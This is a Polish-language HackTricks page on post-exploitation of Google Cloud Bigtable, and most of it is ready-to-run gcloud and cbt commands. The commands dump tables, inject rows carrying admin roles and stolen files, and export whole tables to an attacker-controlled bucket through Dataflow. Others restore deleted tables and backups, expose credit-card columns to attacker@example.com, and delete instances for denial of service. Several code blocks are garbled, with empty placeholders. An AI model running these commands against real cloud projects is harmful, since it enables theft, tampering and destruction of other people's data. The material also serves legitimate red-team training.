GCP - Bigtable Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Bigtable

Aby uzyskać więcej informacji o Bigtable sprawdź:

GCP - Bigtable Enum

Tip

Zainstaluj cbt CLI raz za pomocą Cloud SDK, aby poniższe polecenia działały lokalnie:

Zainstaluj cbt CLI
gcloud components install cbt

Odczyt wierszy

Uprawnienia: bigtable.tables.readRows

cbt jest dołączony do Cloud SDK i komunikuje się z admin/data APIs bez potrzeby dodatkowego pośrednika. Skieruj go na skompromitowany projekt/instancję i zrzucaj wiersze bezpośrednio z tabeli. Ogranicz skan, jeśli potrzebujesz tylko rzucić okiem.

Odczytaj wpisy Bigtable ```bash # Install cbt gcloud components update gcloud components install cbt

Read entries with creds of gcloud

cbt -project= -instance= read

</details>

### Zapisywanie wierszy

**Uprawnienia:** `bigtable.tables.mutateRows`, (będziesz potrzebować `bigtable.tables.readRows`, aby potwierdzić zmianę).

Użyj tego samego narzędzia, aby upsert arbitrary cells. To najszybszy sposób na backdoor configs, drop web shells lub plant poisoned dataset rows.

<details>

<summary>Inject malicious row</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>

cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin

# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337

cbt set akceptuje surowe bajty przez składnię @/path, więc możesz przesłać skompilowane payloady lub serializowane protobufs dokładnie tak, jak oczekują downstream services.

Eksfiltruj wiersze do swojego bucketu

Permissions: dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs

Możliwe jest eksfiltracja zawartości całej tabeli do bucketu kontrolowanego przez atakującego przez uruchomienie zadania Dataflow, które przesyła wiersze do GCS bucketu, którym zarządzasz.

Note

Zwróć uwagę, że będziesz potrzebować uprawnienia iam.serviceAccounts.actAs nad jakimś SA z wystarczającymi uprawnieniami do wykonania eksportu (domyślnie, jeśli nie wskazano inaczej, użyty zostanie domyślny compute SA).

Eksportuj Bigtable do GCS bucket ```bash gcloud dataflow jobs run \ --gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ --project= \ --region= \ --parameters=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ --staging-location=gs:///staging/

Example

gcloud dataflow jobs run dump-bigtable3
–gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
–project=gcp-labs-3uis1xlx
–region=us-central1
–parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
–staging-location=gs://deleteme20u9843rhfioue/staging/

</details>

> [!NOTE]
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` jeśli chcesz wyjścia Parquet/SequenceFile zamiast JSON. Uprawnienia są takie same; zmienia się tylko ścieżka szablonu.

### Import wierszy

**Uprawnienia:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

Możliwe jest zaimportowanie zawartości całej tabeli z bucketu kontrolowanego przez attacker poprzez uruchomienie zadania Dataflow, które przesyła wiersze do GCS bucketu, który kontrolujesz. W tym celu attacker najpierw będzie musiał utworzyć plik parquet z danymi do zaimportowania zgodny z oczekiwaną schemą. Attacker może najpierw wyeksportować dane w formacie parquet, stosując poprzednią technikę z ustawieniem `Cloud_Bigtable_to_GCS_Parquet`, i dodać nowe wpisy do pobranego pliku parquet.

> [!NOTE]
> Zwróć uwagę, że będziesz potrzebować uprawnienia `iam.serviceAccounts.actAs` nad jakimś SA z wystarczającymi uprawnieniami do wykonania eksportu (domyślnie, jeśli nie wskazano inaczej, używany będzie domyślny compute SA).

<details>

<summary>Import z GCS bucketu do Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/

Przywracanie kopii zapasowych

Uprawnienia: bigtable.backups.restore, bigtable.tables.create.

Atakujący z tymi uprawnieniami może przywrócić kopię zapasową do nowej tabeli pod swoją kontrolą, aby odzyskać starsze wrażliwe dane.

Przywróć kopię zapasową Bigtable ```bash gcloud bigtable backups list --instance= \ --cluster=

gcloud bigtable instances tables restore
–source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
–async
–destination=<TABLE_ID_NEW>
–destination-instance=<INSTANCE_ID_DESTINATION>
–project=<PROJECT_ID_DESTINATION>

</details>

### Przywracanie tabel

**Uprawnienia:** `bigtable.tables.undelete`

Bigtable obsługuje soft-deletion z okresem karencji (zazwyczaj 7 dni). W tym czasie atakujący posiadający uprawnienie `bigtable.tables.undelete` może przywrócić niedawno usuniętą tabelę i odzyskać wszystkie jej dane, potencjalnie uzyskując dostęp do wrażliwych informacji, które uznano za zniszczone.

Jest to szczególnie przydatne do:
- Odzyskiwania danych z tabel usuniętych przez obrońców podczas reakcji na incydent
- Dostępu do danych historycznych, które zostały celowo usunięte
- Cofania przypadkowych lub złośliwych usunięć w celu utrzymania dostępu

<details>

<summary>Przywróć tabelę Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted

# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>

Note

Operacja undelete działa tylko w ramach skonfigurowanego okresu retencji (domyślnie 7 dni). Po upływie tego okna tabela i jej dane są trwale usuwane i nie można ich odzyskać tą metodą.

Tworzenie autoryzowanych widoków

Uprawnienia: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows

Autoryzowane widoki pozwalają przedstawić selekcjonowany podzbiór tabeli. Zamiast przestrzegać zasady najmniejszych uprawnień, użyj ich do opublikowania dokładnie tych wrażliwych zestawów kolumn/wierszy, na których ci zależy, i umieść na białej liście własny principal.

Warning

Rzecz w tym, że aby utworzyć autoryzowany widok, musisz także mieć możliwość odczytu i modyfikacji wierszy w tabeli bazowej, więc nie uzyskujesz żadnych dodatkowych uprawnień — dlatego ta technika jest w większości bezużyteczna.

Utwórz autoryzowany widok ```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOF

gcloud bigtable authorized-views create card-dump
–instance= –table=
–definition-file=/tmp/credit-cards.json

gcloud bigtable authorized-views add-iam-policy-binding card-dump
–instance= –table=
–member=‘user:attacker@example.com’ –role=‘roles/bigtable.reader’

</details>

Ponieważ dostęp jest ograniczony do widoku, obrońcy często przeoczają fakt, że właśnie utworzyłeś nowy wysokoczuły endpoint.

### Odczyt autoryzowanych widoków

**Permissions:** `bigtable.authorizedViews.readRows`

Jeśli masz dostęp do autoryzowanego widoku, możesz odczytywać z niego dane za pomocą bibliotek klienta Bigtable, podając nazwę autoryzowanego widoku w żądaniach odczytu. Zwróć uwagę, że autoryzowany widok prawdopodobnie będzie ograniczał to, do czego masz dostęp w tabeli. Poniżej znajduje się przykład w Pythonie:

<details>

<summary>Odczyt z autoryzowanego widoku (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest

# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"

client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)

data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"

request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)

rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f"  {family}:{qualifier} = {value}")

Denial of Service via Delete Operations

Uprawnienia: bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete

Jakiekolwiek uprawnienia do usuwania w Bigtable mogą zostać wykorzystane w atakach denial of service. Atakujący posiadający te uprawnienia może zakłócić działanie poprzez usunięcie krytycznych zasobów Bigtable:

  • bigtable.appProfiles.delete: Usunięcie profili aplikacji, powodując przerwanie połączeń klientów i konfiguracji routingu
  • bigtable.authorizedViews.delete: Usunięcie authorized views, odcinając legalne ścieżki dostępu dla aplikacji
  • bigtable.authorizedViews.deleteTagBinding: Usunięcie powiązań tagów z authorized views
  • bigtable.backups.delete: Zniszczenie snapshotów kopii zapasowych, eliminując opcje odzyskiwania po awarii
  • bigtable.clusters.delete: Usunięcie całych klastrów, powodując natychmiastową niedostępność danych
  • bigtable.instances.delete: Usunięcie całych instancji Bigtable, kasując wszystkie tabele i konfiguracje
  • bigtable.tables.delete: Usunięcie pojedynczych tabel, powodując utratę danych i awarie aplikacji
Usuń zasoby Bigtable ```bash # Delete a table gcloud bigtable instances tables delete \ --instance=

Delete an authorized view

gcloud bigtable authorized-views delete
–instance= –table=

Delete a backup

gcloud bigtable backups delete
–instance= –cluster=

Delete an app profile

gcloud bigtable app-profiles delete
–instance=

Delete a cluster

gcloud bigtable clusters delete
–instance=

Delete an entire instance

gcloud bigtable instances delete

</details>

> [!WARNING]
> Operacje usuwania są często natychmiastowe i nieodwracalne. Upewnij się, że istnieją kopie zapasowe przed testowaniem tych poleceń, ponieważ mogą one spowodować trwałą utratę danych i poważne zakłócenia w działaniu usługi.

> [!TIP]
> Ucz się & ćwicz AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wspieraj HackTricks</summary>
>
> - Sprawdź [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) lub [**telegram group**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podziel się hacking tricks, zgłaszając PRy do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>